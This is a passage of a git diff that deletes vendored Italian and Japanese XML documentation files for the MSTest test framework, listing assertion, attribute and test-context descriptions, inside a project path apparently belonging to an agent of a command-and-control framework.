Cerca una stringa localizzata simile a Il metodo di test non ha generato l'eccezione prevista {0}. {1}. - - - - - Cerca una stringa localizzata simile a Il metodo di test non ha generato un'eccezione. È prevista un'eccezione dall'attributo {0} definito nel metodo di test. - - - - - Cerca una stringa localizzata simile a Il metodo di test ha generato l'eccezione {0}, ma era prevista l'eccezione {1}. Messaggio dell'eccezione: {2}. - - - - - Cerca una stringa localizzata simile a Il metodo di test ha generato l'eccezione {0}, ma era prevista l'eccezione {1} o un tipo derivato da essa. Messaggio dell'eccezione: {2}. - - - - - Cerca una stringa localizzata simile a È stata generata l'eccezione {2}, ma era prevista un'eccezione {1}. {0} - Messaggio dell'eccezione: {3} - Analisi dello stack: {4}. - - - - - risultati degli unit test - - - - - Il test è stato eseguito, ma si sono verificati errori. - Gli errori possono implicare eccezioni o asserzioni non riuscite. - - - - - Il test è stato completato, ma non è possibile determinare se è stato o meno superato. - Può essere usato per test interrotti. - - - - - Il test è stato eseguito senza problemi. - - - - - Il test è attualmente in corso. - - - - - Si è verificato un errore di sistema durante il tentativo di eseguire un test. - - - - - Timeout del test. - - - - - Il test è stato interrotto dall'utente. - - - - - Il test si trova in uno stato sconosciuto - - - - - Fornisce la funzionalità di helper per il framework degli unit test - - - - - Ottiene i messaggi di eccezione in modo ricorsivo, inclusi quelli relativi a - tutte le eccezioni interne - - Eccezione per cui ottenere i messaggi - stringa con le informazioni sul messaggio di errore - - - - Enumerazione per i timeout, che può essere usata con la classe . - Il tipo dell'enumerazione deve corrispondere - - - - - Valore infinito. - - - - - Attributo della classe di test. - - - - - Ottiene un attributo di metodo di test che consente di eseguire questo test. - - Istanza di attributo del metodo di test definita in questo metodo. - Oggetto da usare per eseguire questo test. - Extensions can override this method to customize how all methods in a class are run. - - - - Attributo del metodo di test. - - - - - Esegue un metodo di test. - - Metodo di test da eseguire. - Matrice di oggetti TestResult che rappresentano il risultato o i risultati del test. - Extensions can override this method to customize running a TestMethod. - - - - Attributo di inizializzazione test. - - - - - Attributo di pulizia dei test. - - - - - Attributo ignore. - - - - - Attributo della proprietà di test. - - - - - Inizializza una nuova istanza della classe . - - - Nome. - - - Valore. - - - - - Ottiene il nome. - - - - - Ottiene il valore. - - - - - Attributo di inizializzazione classi. - - - - - Attributo di pulizia delle classi. - - - - - Attributo di inizializzazione assembly. - - - - - Attributo di pulizia degli assembly. - - - - - Proprietario del test - - - - - Inizializza una nuova istanza della classe . - - - Proprietario. - - - - - Ottiene il proprietario. - - - - - Attributo Priority; usato per specificare la priorità di uno unit test. - - - - - Inizializza una nuova istanza della classe . - - - Priorità. - - - - - Ottiene la priorità. - - - - - Descrizione del test - - - - - Inizializza una nuova istanza della classe per descrivere un test. - - Descrizione. - - - - Ottiene la descrizione di un test. - - - - - URI della struttura di progetto CSS - - - - - Inizializza una nuova istanza della classe per l'URI della struttura di progetto CSS. - - URI della struttura di progetto CSS. - - - - Ottiene l'URI della struttura di progetto CSS. - - - - - URI dell'iterazione CSS - - - - - Inizializza una nuova istanza della classe per l'URI dell'iterazione CSS. - - URI dell'iterazione CSS. - - - - Ottiene l'URI dell'iterazione CSS. - - - - - Attributo WorkItem; usato per specificare un elemento di lavoro associato a questo test. - - - - - Inizializza una nuova istanza della classe per l'attributo WorkItem. - - ID di un elemento di lavoro. - - - - Ottiene l'ID di un elemento di lavoro associato. - - - - - Attributo Timeout; usato per specificare il timeout di uno unit test. - - - - - Inizializza una nuova istanza della classe . - - - Timeout. - - - - - Inizializza una nuova istanza della classe con un timeout preimpostato - - - Timeout - - - - - Ottiene il timeout. - - - - - Oggetto TestResult da restituire all'adattatore. - - - - - Inizializza una nuova istanza della classe . - - - - - Ottiene o imposta il nome visualizzato del risultato. Utile quando vengono restituiti più risultati. - Se è Null, come nome visualizzato viene usato il nome del metodo. - - - - - Ottiene o imposta il risultato dell'esecuzione dei test. - - - - - Ottiene o imposta l'eccezione generata quando il test non viene superato. - - - - - Ottiene o imposta l'output del messaggio registrato dal codice del test. - - - - - Ottiene o imposta l'output del messaggio registrato dal codice del test. - - - - - Ottiene o imposta le tracce di debug in base al codice del test. - - - - - Gets or sets the debug traces by test code. - - - - - Ottiene o imposta la durata dell'esecuzione dei test. - - - - - Ottiene o imposta l'indice della riga di dati nell'origine dati. Impostare solo per risultati di singole - esecuzioni della riga di dati di un test basato sui dati. - - - - - Ottiene o imposta il valore restituito del metodo di test. Attualmente è sempre Null. - - - - - Ottiene o imposta i file di risultati allegati dal test. - - - - - Specifica la stringa di connessione, il nome tabella e il metodo di accesso alle righe per test basati sui dati. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nome del provider predefinito per DataSource. - - - - - Metodo predefinito di accesso ai dati. - - - - - Inizializza una nuova istanza della classe . Questa istanza verrà inizializzata con un provider di dati, la stringa di connessione, la tabella dati e il metodo di accesso ai dati per accedere all'origine dati. - - Nome del provider di dati non dipendente da paese/area geografica, ad esempio System.Data.SqlClient - - Stringa di connessione specifica del provider di dati. - AVVISO: la stringa di connessione può contenere dati sensibili, ad esempio una password. - La stringa di connessione è archiviata in formato testo normale nel codice sorgente e nell'assembly compilato. - Limitare l'accesso al codice sorgente e all'assembly per proteggere questi dati sensibili. - - Nome della tabella dati. - Specifica l'ordine per l'accesso ai dati. - - - - Inizializza una nuova istanza della classe . Questa istanza verrà inizializzata con una stringa di connessione e un nome tabella. - Specificare la stringa di connessione e la tabella dati per accedere all'origine dati OLEDB. - - - Stringa di connessione specifica del provider di dati. - AVVISO: la stringa di connessione può contenere dati sensibili, ad esempio una password. - La stringa di connessione è archiviata in formato testo normale nel codice sorgente e nell'assembly compilato. - Limitare l'accesso al codice sorgente e all'assembly per proteggere questi dati sensibili. - - Nome della tabella dati. - - - - Inizializza una nuova istanza della classe . Questa istanza verrà inizializzata con un provider di dati e la stringa di connessione associata al nome dell'impostazione. - - Nome di un'origine dati trovata nella sezione <microsoft.visualstudio.qualitytools> del file app.config. - - - - Ottiene un valore che rappresenta il provider di dati dell'origine dati. - - - Nome del provider di dati. Se non è stato designato un provider di dati durante l'inizializzazione dell'oggetto, verrà restituito il provider predefinito di System.Data.OleDb. - - - - - Ottiene un valore che rappresenta la stringa di connessione per l'origine dati. - - - - - Ottiene un valore che indica il nome della tabella che fornisce i dati. - - - - - Ottiene il metodo usato per accedere all'origine dati. - - - - Uno dei valori di . Se non è inizializzato, restituirà il valore predefinito . - - - - - Ottiene il nome di un'origine dati trovata nella sezione <microsoft.visualstudio.qualitytools> del file app.config. - - - - - Attributo per il test basato sui dati in cui è possibile specificare i dati inline. - - - - - Trova tutte le righe di dati e le esegue. - - - Metodo di test. - - - Matrice di istanze di . - - - - - Esegue il metodo di test basato sui dati. - - Metodo di test da eseguire. - Riga di dati. - Risultati dell'esecuzione. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 7f0704e6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - テスト配置ごとに配置項目 (ファイルまたはディレクトリ) を指定するために使用されます。 - テスト クラスまたはテスト メソッドで指定できます。 - 属性に複数のインスタンスを指定して、2 つ以上の項目を指定することができます。 - 項目のパスには絶対パスまたは相対パスを指定できます。相対パスの場合は、RunConfig.RelativePathRoot からの相対パスです。 - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - クラスの新しいインスタンスを初期化します。 - - 配置するファイルまたはディレクトリ。パスはビルドの出力ディレクトリの相対パスです。項目は配置されたテスト アセンブリと同じディレクトリにコピーされます。 - - - - クラスの新しいインスタンスを初期化する - - 配置するファイルまたはディレクトリへの相対パスまたは絶対パス。パスはビルドの出力ディレクトリの相対パスです。項目は配置されたテスト アセンブリと同じディレクトリにコピーされます。 - アイテムのコピー先のディレクトリのパス。配置ディレクトリへの絶対パスまたは相対パスのいずれかを指定できます。次で識別されるすべてのファイルとディレクトリは このディレクトリにコピーされます。 - - - - コピーするソース ファイルまたはフォルダーのパスを取得します。 - - - - - 項目のコピー先のディレクトリのパスを取得します。 - - - - - Windows ストア アプリの UI スレッドでテスト コードを実行します。 - - - - - UI スレッドで対象テスト メソッドを実行します。 - - - テスト メソッド。 - - - 次の配列 インスタンス。 - - Throws when run on an async test method. - - - - - TestContext クラス。このクラスは完全に抽象的でなければならず、かつメンバー - を含んでいてはなりません。アダプターはメンバーを実装します。フレームワーク内のユーザーは - 正しく定義されたインターフェイスを介してのみこのクラスにアクセスする必要があります。 - - - - - テストのテスト プロパティを取得します。 - - - - - 現在実行中のテスト メソッドを含むクラスの完全修飾名を取得する - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - 現在実行中のテスト メソッドの名前を取得する - - - - - 現在のテスト成果を取得します。 - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 922b5b17..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 実行用の TestMethod。 - - - - - テスト メソッドの名前を取得します。 - - - - - テスト クラスの名前を取得します。 - - - - - テスト メソッドの戻り値の型を取得します。 - - - - - テスト メソッドのパラメーターを取得します。 - - - - - テスト メソッドの methodInfo を取得します。 - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - テスト メソッドを呼び出します。 - - - テスト メソッドに渡す引数。(データ ドリブンの場合など) - - - テスト メソッド呼び出しの結果。 - - - This call handles asynchronous test methods as well. - - - - - テスト メソッドのすべての属性を取得します。 - - - 親クラスで定義されている属性が有効かどうか。 - - - すべての属性。 - - - - - 特定の型の属性を取得します。 - - System.Attribute type. - - 親クラスで定義されている属性が有効かどうか。 - - - 指定した種類の属性。 - - - - - ヘルパー。 - - - - - null でない確認パラメーター。 - - - パラメーター。 - - - パラメーター名。 - - - メッセージ。 - - Throws argument null exception when parameter is null. - - - - null または空でない確認パラメーター。 - - - パラメーター。 - - - パラメーター名。 - - - メッセージ。 - - Throws ArgumentException when parameter is null. - - - - データ ドリブン テストのデータ行にアクセスする方法の列挙型。 - - - - - 行は順番に返されます。 - - - - - 行はランダムに返されます。 - - - - - テスト メソッドのインライン データを定義する属性。 - - - - - クラスの新しいインスタンスを初期化します。 - - データ オブジェクト。 - - - - 引数の配列を受け入れる クラスの新しいインスタンスを初期化します。 - - データ オブジェクト。 - 追加のデータ。 - - - - テスト メソッドを呼び出すデータを取得します。 - - - - - カスタマイズするために、テスト結果の表示名を取得または設定します。 - - - - - assert inconclusive 例外。 - - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - - - - クラスの新しいインスタンスを初期化します。 - - - - - InternalTestFailureException クラス。テスト ケースの内部エラーを示すために使用されます - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - クラスの新しいインスタンスを初期化します。 - - 例外メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - 例外メッセージ。 - - - - クラスの新しいインスタンスを初期化します。 - - - - - 指定した型の例外を予期するよう指定する属性 - - - - - 予期される型を指定して、 クラスの新しいインスタンスを初期化する - - 予期される例外の型 - - - - 予期される型と、テストで例外がスローされない場合に含めるメッセージとを指定して - クラスの新しいインスタンスを初期化します。 - - 予期される例外の型 - - 例外がスローされなかったことが原因でテストが失敗した場合に、テスト結果に含まれるメッセージ - - - - - 予期される例外の型を示す値を取得する - - - - - 予期される例外の型から派生した型を予期される型として使用できるかどうかを示す値を - 取得または設定する - - - - - 例外がスローされなかったためにテストが失敗した場合にテスト結果に含めるメッセージを取得する - - - - - 単体テストでスローされる例外の型が予期される型であることを検証する - - 単体テストでスローされる例外 - - - - 単体テストからの例外を予期するように指定する属性の基底クラス - - - - - 既定の例外なしメッセージを指定して クラスの新しいインスタンスを初期化する - - - - - 例外なしメッセージを指定して クラスの新しいインスタンスを初期化します - - - 例外がスローされなかったことが原因でテストが失敗した場合に、 - テスト結果に含まれるメッセージ - - - - - 例外がスローされなかったためにテストが失敗した場合にテスト結果に含めるメッセージを取得する - - - - - 例外がスローされなかったためにテストが失敗した場合にテスト結果に含めるメッセージを取得する - - - - - 既定の例外なしメッセージを取得する - - ExpectedException 属性の型名 - 既定の例外なしメッセージ - - - - 例外が予期されているかどうかを判断します。メソッドが戻る場合は、 - 例外が予期されていたと解釈されます。メソッドが例外をスローする場合は、 - 例外が予期されていなかったと解釈され、スローされた例外のメッセージが - テスト結果に含められます。便宜上、 クラスを使用できます。 - が使用され、アサーションが失敗すると、 - テスト成果は [結果不確定] に設定されます。 - - 単体テストでスローされる例外 - - - - AssertFailedException または AssertInconclusiveException である場合に、例外を再スローする - - アサーション例外である場合に再スローされる例外 - - - - このクラスは、ジェネリック型を使用する型の単体テストを実行するユーザーを支援するように設計されています。 - GenericParameterHelper は、次のようないくつかの共通ジェネリック型制約を - 満たしています: - 1. パブリックの既定のコンストラクター - 2. 共通インターフェイスを実装します: IComparable、IEnumerable - - - - - C# ジェネリックの 'newable' 制約を満たす - クラスの新しいインスタンスを初期化します。 - - - This constructor initializes the Data property to a random value. - - - - - Data プロパティをユーザー指定の値に初期化する クラスの - 新しいインスタンスを初期化します。 - - 任意の整数値 - - - - データを取得または設定する - - - - - 2 つの GenericParameterHelper オブジェクトの値の比較を実行する - - 次との比較を実行するオブジェクト - オブジェクトの値が 'this' GenericParameterHelper オブジェクトと同じ値である場合は true。 - それ以外の場合は、false。 - - - - このオブジェクトのハッシュコードを返します。 - - ハッシュ コード。 - - - - 2 つの オブジェクトのデータを比較します。 - - 比較対象のオブジェクト。 - - このインスタンスと値の相対値を示す符号付きの数値。 - - - Thrown when the object passed in is not an instance of . - - - - - 長さが Data プロパティから派生している IEnumerator オブジェクト - を返します。 - - IEnumerator オブジェクト - - - - 現在のオブジェクトに相当する GenericParameterHelper - オブジェクトを返します。 - - 複製されたオブジェクト。 - - - - ユーザーが診断用に単体テストからトレースをログ記録/書き込みできるようにします。 - - - - - LogMessage のハンドラー。 - - ログに記録するメッセージ。 - - - - リッスンするイベント。単体テスト ライターがメッセージを書き込むときに発生します。 - 主にアダプターによって消費されます。 - - - - - テスト ライターがメッセージをログ記録するために呼び出す API。 - - プレースホルダーを含む文字列形式。 - プレースホルダーのパラメーター。 - - - - TestCategory 属性。単体テストのカテゴリを指定するために使用されます。 - - - - - クラスの新しいインスタンスを初期化し、カテゴリをテストに適用します。 - - - テスト カテゴリ。 - - - - - テストに適用されているテスト カテゴリを取得します。 - - - - - "Category" 属性の基底クラス - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - クラスの新しいインスタンスを初期化します。 - カテゴリをテストに適用します。TestCategories で返される文字列は - テストをフィルター処理する /category コマンドで使用されます - - - - - テストに適用されているテスト カテゴリを取得します。 - - - - - AssertFailedException クラス。テスト ケースのエラーを示すために使用されます - - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - - - - クラスの新しいインスタンスを初期化します。 - - - - - 単体テスト内のさまざまな条件をテストするヘルパー クラスの - コレクション。テスト対象の条件を満たしていない場合は、 - 例外がスローされます。 - - - - - Assert 機能の単一インスタンスを取得します。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 指定した条件が true であるかどうかをテストして、条件が false の場合は - 例外をスローします。 - - - テストで true であることが予期される条件。 - - - Thrown if is false. - - - - - 指定した条件が true であるかどうかをテストして、条件が false の場合は - 例外をスローします。 - - - テストで true であることが予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - false の場合。メッセージはテスト結果に表示されます。 - - - Thrown if is false. - - - - - 指定した条件が true であるかどうかをテストして、条件が false の場合は - 例外をスローします。 - - - テストで true であることが予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - false の場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is false. - - - - - 指定した条件が false であるかどうかをテストして、 - 条件が true である場合は例外をスローします。 - - - テストで false であると予期される条件。 - - - Thrown if is true. - - - - - 指定した条件が false であるかどうかをテストして、 - 条件が true である場合は例外をスローします。 - - - テストで false であると予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - true の場合。メッセージはテスト結果に表示されます。 - - - Thrown if is true. - - - - - 指定した条件が false であるかどうかをテストして、 - 条件が true である場合は例外をスローします。 - - - テストで false であると予期される条件。 - - - 次の場合に、例外に含まれるメッセージ - true の場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is true. - - - - - 指定したオブジェクトが null であるかどうかをテストして、 - null でない場合は例外をスローします。 - - - テストで null であると予期されるオブジェクト。 - - - Thrown if is not null. - - - - - 指定したオブジェクトが null であるかどうかをテストして、 - null でない場合は例外をスローします。 - - - テストで null であると予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null でない場合。メッセージはテスト結果に表示されます。 - - - Thrown if is not null. - - - - - 指定したオブジェクトが null であるかどうかをテストして、 - null でない場合は例外をスローします。 - - - テストで null であると予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null でない場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not null. - - - - - 指定したオブジェクトが null 以外であるかどうかをテストして、 - null である場合は例外をスローします。 - - - テストで null 出ないと予期されるオブジェクト。 - - - Thrown if is null. - - - - - 指定したオブジェクトが null 以外であるかどうかをテストして、 - null である場合は例外をスローします。 - - - テストで null 出ないと予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null である場合。メッセージはテスト結果に表示されます。 - - - Thrown if is null. - - - - - 指定したオブジェクトが null 以外であるかどうかをテストして、 - null である場合は例外をスローします。 - - - テストで null 出ないと予期されるオブジェクト。 - - - 次の場合に、例外に含まれるメッセージ - null である場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is null. - - - - - 指定した両方のオブジェクトが同じオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照しない場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで予期される値です。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - Thrown if does not refer to the same object - as . - - - - - 指定した両方のオブジェクトが同じオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照しない場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで予期される値です。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じではない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if does not refer to the same object - as . - - - - - 指定した両方のオブジェクトが同じオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照しない場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで予期される値です。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じではない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if does not refer to the same object - as . - - - - - 指定したオブジェクトが別のオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照する場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - Thrown if refers to the same object - as . - - - - - 指定したオブジェクトが別のオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照する場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - と同じである場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if refers to the same object - as . - - - - - 指定したオブジェクトが別のオブジェクトを参照するかどうかをテストして、 - 2 つの入力が同じオブジェクトを参照する場合は例外をスローします。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - と同じである場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if refers to the same object - as . - - - - - 指定した値どうしが等しいかどうかをテストして、 - 2 つの値が等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで予期される値です。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - Thrown if is not equal to . - - - - - 指定した値どうしが等しいかどうかをテストして、 - 2 つの値が等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで予期される値です。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定した値どうしが等しいかどうかをテストして、 - 2 つの値が等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで予期される値です。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定した値どうしが等しくないかどうかをテストして、 - 2 つの値が等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - Thrown if is equal to . - - - - - 指定した値どうしが等しくないかどうかをテストして、 - 2 つの値が等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定した値どうしが等しくないかどうかをテストして、 - 2 つの値が等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - The type of values to compare. - - - 比較する最初の値。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目の値。これはテストのコードで生成される値です。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトどうしが等しいかどうかをテストして、 - 2 つのオブジェクトが等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで予期されるオブジェクトです。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - Thrown if is not equal to - . - - - - - 指定したオブジェクトどうしが等しいかどうかをテストして、 - 2 つのオブジェクトが等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで予期されるオブジェクトです。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定したオブジェクトどうしが等しいかどうかをテストして、 - 2 つのオブジェクトが等しくない場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで予期されるオブジェクトです。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定したオブジェクトどうしが等しくないかどうかをテストして、 - 2 つのオブジェクトが等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトどうしが等しくないかどうかをテストして、 - 2 つのオブジェクトが等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定したオブジェクトどうしが等しくないかどうかをテストして、 - 2 つのオブジェクトが等しい場合は例外をスローします。論理値が等しい場合であっても、異なる数値型は - 等しくないものとして処理されます。42L は 42 とは等しくありません。 - - - 比較する最初のオブジェクト。これはテストで次と一致しないと予期される - 値です 。 - - - 比較する 2 番目のオブジェクト。これはテストのコードで生成されるオブジェクトです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定した浮動小数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで予期される浮動小数です。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - Thrown if is not equal to - . - - - - - 指定した浮動小数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで予期される浮動小数です。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定した浮動小数どうしが等しいかどうかをテストして、 - 等しくない場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで予期される浮動小数です。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 必要な精度。次の場合にのみ、例外がスローされます - 次と異なる場合 - 次の値を超える差異がある場合 。 - - - 次の場合に、例外に含まれるメッセージ - と異なる 次の値を超える差異がある場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定した浮動小数どうしが等しくないかどうかをテストして、 - 等しい場合は例外をスローします。 - - - 比較する最初の浮動小数。これはテストで次と一致しないと予期される - 浮動小数です 。 - - - 比較する 2 番目の浮動小数。これはテストのコードで生成される浮動小数です。 - - - 